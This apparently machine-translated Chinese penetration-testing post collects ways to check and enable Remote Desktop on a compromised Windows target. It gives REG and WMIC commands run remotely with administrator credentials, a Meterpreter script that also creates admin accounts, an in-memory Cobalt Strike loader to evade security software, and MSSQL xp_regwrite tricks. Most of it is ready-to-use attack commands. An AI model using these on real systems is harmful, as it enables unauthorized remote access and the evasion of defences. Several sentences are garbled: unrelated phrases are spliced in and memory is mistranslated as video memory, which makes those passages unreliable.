0x01 查询3389端口格式汇总
(1)REG查询3389状态(0:ON,1:OFF)
REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
(2)REG查询端口3389(16补码->10补码)
REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds" /s
REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber
set /a Port=0xd3d
(3)tasklist和netstat命令查询3389端口
tasklist /svc | findstr "TermService"
netstat -ano | findstr "2028"
注意:有时会出现特殊情况,比如虚拟主机构建的低权限用户运行的IIS(Userswin7一打开软件就显示打开方式,IIS_IUSRS),tasklist/svc不显示服务名,注册表检查0xd3dwin7一打开软件就显示打开方式,却没有3389在netstat -ano端口中,这可能是因为3389远程终端被关闭,而在Users权限下,我们只能凭个人经验盲目猜测可疑的终端口号。
(4)Meterpreter的netstat查询端口3389
有时我们会遇到无法执行netstat、tasklist、reg等命令的情况。 这时我们可以使用Meterpreter下的netstat命令快速查询3389端口,首先找到运行在0.0.0.0的svchost.exe,然后根据个人经验结束标语盲目猜测可疑。
常见的端口大家都知道,比如FTP、RPC等,就不详细说了。 有序端口指定不是,其余的是 58895。
0x02 开放3389端口形式汇总
(1)MSF命令打开3389端口
支持系统:
meterpreter > run getgui -e
[!] Meterpreter scripts are deprecated. Try post/windows/manage/enable_rdp.
[!] Example: run post/windows/manage/enable_rdp OPTION=value [...]
[*] Windows Remote Desktop Configuration Meterpreter script by Darkoperator
[*] Carlos Perez carlos_perez@darkoperator.com
[*] Enabling Remote Desktop
[...SNIP...]
注意:该脚本可用于打开目标机的3389远程桌面端口、创建管理员帐户密码、禁用远程桌面(TCP-In)防火墙入站规则等。
(2)REG命令打开3389端口
支持系统:
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
(3)WMIC命令打开3389端口
支持系统:
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
前提条件是确保“Windows Management Instrumentation(Winmgmt)”服务已正常启动。
(4)WMIC打开远程主机的3389端口
支持系统:
wmic /node:192.168.0.103 /user:administrator /password:betasec PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1
支持系统:
wmic /node:192.168.0.116 /user:administrator /password:betasec RDTOGGLE WHERE ServerName='WIN-TO2CN3V2VPR' call SetAllowTSConnections 1
wmic /node:192.168.0.116 /user:administrator /password:betasec process call create 'cmd.exe /c REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'
防范措施:
虽然是使用WMIC远程执行命令执行WMIC、REG等命令打开3389端口。
当 WMIC 远程打开端口 3389 时,%COMPUTERNAME% 环境变量不能用于替换远程主机的计算机名称。
错误:说明=由于UAC 用户帐户控制已打开,访问被拒绝,仅允许RID500 管理员执行此操作。
(5)Windows API开放3389端口
冷毅用C++写的“打开3389工具”有一个小问题。 在两台Windows2008机器上测试时,报告缺少vcruntime140.dll、api-ms-win-crt-runtime-l1-1-0.dll,可以自行调试编译。
按照@冷逸大哥的想法,我也用C#写了一个,目标框架:.NETframework2.0,可以用CobaltStrikeexecute-assemble加载到显存中,实现不落地执行。 该工具的原理是利用RegCreateKeyEx和RegSetValueEx以及Microsoft.Win32RegistryKey这两个API与操作系统注册表类似,与不使用Net.exe添加管理员用户是一样的,直接使用Windows API来执行相应的操作! ! !
应用场景一:
当目标主机因某些安全软件的存在而难以用reg、wmic命令打开3389端口时,可以尝试使用该工具查询并打开3389端口,并可以使用execute-assemble加载到用于执行的视频内存。
应用场景二:
由于目标主机有一些安全防护软件(如:某锁、某安全卫士),在拦截rundll32.exe时,无法使用execute-assemble将其加载到显存执行,所以只能选择在地面上执行它,到目前为止它仍然是打包的。
(6)MSSQLxp_regwrite打开3389端口
应用场景:当xp_cmdshell被禁用/删除且难以恢复时,可以尝试使用xp_regread、xp_regwrite查询并开放目标机的3389端口,也可以选择使用sp_OACreate、AgentJob等命令执行方式。
1、查询3389开启状态
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server' ,'fDenyTSConnections'
2、查询3389远程桌面端口
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','PortNumber'
3、开启3389远程桌面端口(0:ON、1:OFF)
exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;
(7)查找一次打开3389端口失败的原因
电脑右键打开远程桌面或者REG、WMIC打开3389端口命令执行成功,并且netstat-ano中没有3389端口,tasklist/svc中也没有TermService服务。 最后在Services.msc中找到TermService服务时出现: 这些情况是由于对应的C:\Windows\System32\termsrv.dll文件不再存在所致。 可能是作者在测试RDPWrap项目时误删除的。
启动TermService服务时必须加载Termsrv.dll,因此无法通过常规方法打开3389端口。 这时我们只需要将之前备份的termsrv.dll或者对应版本操作系统的termsrv.dll复制到C:\Windows\System32\目录下,启动TermService服务,然后重启3389远程桌面即可来解决问题。
[往届TOP5]
如果对您有帮助,请点击分享、点赞、观看!